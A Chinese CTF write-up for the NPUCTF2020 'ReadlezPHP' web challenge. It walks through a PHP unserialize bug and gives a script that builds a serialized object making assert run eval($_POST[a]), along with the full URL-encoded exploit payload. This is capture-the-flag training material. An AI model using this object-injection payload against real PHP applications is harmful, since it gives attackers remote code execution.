BUUCTF[NPUCTF2020] web 部分WP
上周做了做NPUCTF的題,今天在buuoj上面復現了一波,順便寫寫write up
ReadlezPHP
這是一道簡單的反序列化的題
進入頁面沒什么發現,只有一個跳轉到西工大官網的鏈接,然后查看源碼,發現一個隱藏的a標簽
然后進入頁面,看到了源碼
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
這段代碼的關鍵在於當執行反序列化函數的時候,調用__destruct函數執行echo $b($a),我們便可以利用這個函數執行任意我們想執行的函數,從而達到getshell的目的。
接下來便是寫php腳本構造序列化了,期間試了很多函數比如system等等都被禁用了,但是我們還可以用assert這個函數。
首先我們來了解一下斷言(assert)這個函數,參考大佬的文章PHP assert 和 eval
assert 判斷一個表達式是否成立。返回true or false;
我們來看一個例子:
<?php
$a = "123";
echo assert(is_numeric($a));
?>
這段代碼輸出的結果是:
簡言之就是assert()可以將整個字符串參數當作php參數執行,而類似的eval()函數是執行合法的php代碼。
接下來放出序列化的腳本
<?php
class HelloPhp
{
public $a;
public $b;
}
$c = new HelloPhp;
$c->b = 'assert';
$c->a = 'eval($_POST[a]);';
echo urlencode(serialize($c))."<br/>";
?>
這里除了用assert()之外,還可以用call_user_func()函數
call_user_func — 把第一個參數作為回調函數調用
<?php
function barber($type){
echo "you wanted a $type haircut, no problem\n";
}
call_user_func('barber','mushroom');
?>
//返回內容如下:
//you wanted a mushroom haircut, no problem
只要構造出call_user_func(phpinfo)就好了
payload:
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功得出結果:
一開始我還想着鏈接蟻劍,發現連不上,看了大佬的WP才知道原來flag就在phpinfo頁面中,我還是太年輕!
得到flag!
未完待續···